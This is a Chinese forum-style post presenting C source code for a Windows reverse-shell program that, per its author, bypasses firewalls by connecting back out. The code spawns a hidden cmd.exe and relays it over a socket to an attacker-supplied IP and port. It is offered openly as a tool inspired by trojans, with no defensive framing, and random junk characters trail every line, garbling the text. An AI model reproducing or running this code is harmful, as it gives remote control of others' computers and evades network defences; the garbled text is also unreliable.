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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2xd G&}$fa  
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/* ============================== D?Q{&6p  
Rebound port in Windows NT ;=6~,k)  
By wind,2006/7 5q?ZuAAA  
===============================*/ ,9p 4(jjX  
#include pJ5Sxgv{;  
#include DFt1{qS8@u  
f+huhJS5e  
#pragma comment(lib,"wsock32.lib") gI^*O@Q4{b  
.gWYKZM  
void OutputShell(); UpS`KgF"v  
SOCKET sClient; #SRGVa`x  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZWSYh>"  
;HJ|)PN5L  
void main(int argc,char **argv) g+k0Fw]!  
{ 3B|o   
WSADATA stWsaData; T!)v9L  
int nRet; S:Ne g!`  
SOCKADDR_IN stSaiClient,stSaiServer; F XOA1VEg  
l7P~_X_)"  
if(argc != 3) i4N '[ P}  
{ dg 4 QA_"  
printf("Useage:\n\rRebound DestIP DestPort\n"); g%Ap<iT  
return; (;'?56  
} $R7n1  
>_]j{}~\k  
WSAStartup(MAKEWORD(2,2),&stWsaData); }CA oB::&  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eUA6X ,I  
]`&ws  
stSaiClient.sin_family = AF_INET; Nd*zSsVlq  
stSaiClient.sin_port = htons(0); A|8(3PiP  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^l6q  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 969*mcq'  
{ ]-& ehW  
printf("Bind Socket Failed!\n"); `Q*L!/K+  
return; nmVL%66K  
} { CkxUec  
W@1Nit-R  
stSaiServer.sin_family = AF_INET; ?*a:f"vQ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @U(D&_H,K  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C-$S]6  
1 {dhGX  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ajW[}/)  
{ vO"Sy{)Z>  
printf("Connect Error!"); }}v;V*_V  
return; %9xz[Ng  
} 41WnKz9c  
OutputShell(); K<KyX8$P0  
} .S17O}  
n97A'"'wz  
void OutputShell() 9Bl_t}0  
{ Im1e/F]  
char szBuff[1024]; [MYd15  
SECURITY_ATTRIBUTES stSecurityAttributes; <IGQBu#ZH  
OSVERSIONINFO stOsversionInfo; 7%9Sz5z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VAF+\Cea=  
STARTUPINFO stStartupInfo; w3c[t~R8  
char *szShell; ao<@a{G  
PROCESS_INFORMATION stProcessInformation; U&|=dH]-  
unsigned long lBytesRead; GM{m(Y  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [Zk|s9  
PWOV~ `^;  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); e7ixi^Q  
stSecurityAttributes.lpSecurityDescriptor = 0; G@anY=D\EB  
stSecurityAttributes.bInheritHandle = TRUE; )%U&z>^P  
;Id%{1  
Aq}]{gfQ1  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4,T!zT6&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); q3B#rje>h  
 [ottUS@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &)OX*y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eZ y)>.6Z  
stStartupInfo.wShowWindow = SW_HIDE;  ;OQ{  
stStartupInfo.hStdInput = hReadPipe; <SUjz}_Oa:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; l njaHol0  
3HC aZ?Ry'  
GetVersionEx(&stOsversionInfo);  cpp0Y^  
^$Dpdz I  
switch(stOsversionInfo.dwPlatformId) l)fF)\|;=  
{ a%7ju4CVj  
case 1: Z16G  
szShell = "command.com"; WaQCq0Enj  
break; /NaI Mo 5  
default: b&B<'Wb  
szShell = "cmd.exe"; SY_T\ }  
break; 8l0%:6XbI  
} gd-4hR  
n|Vs27  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  a= ;7  
V=BF"S;-'  
send(sClient,szMsg,77,0); wX" 6 S:  
while(1) 5zX;/n~  
{ /i$E|[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _`|Hk2O  
if(lBytesRead) /pZLt)=P  
{ gX5I`mm  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kehv85  
send(sClient,szBuff,lBytesRead,0); <7/_Vs)F0  
} xWD=",0+  
else wj9CL1Gx  
{ V}=9S@$o  
lBytesRead=recv(sClient,szBuff,1024,0); 0F6^[osqtl  
if(lBytesRead<=0) break; 33DP0OBL^  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?N<* ATC L  
} 6]rIYc[,  
} k!b\qS~Q  
e'mm42  
return; ! R?r)G5E  
}
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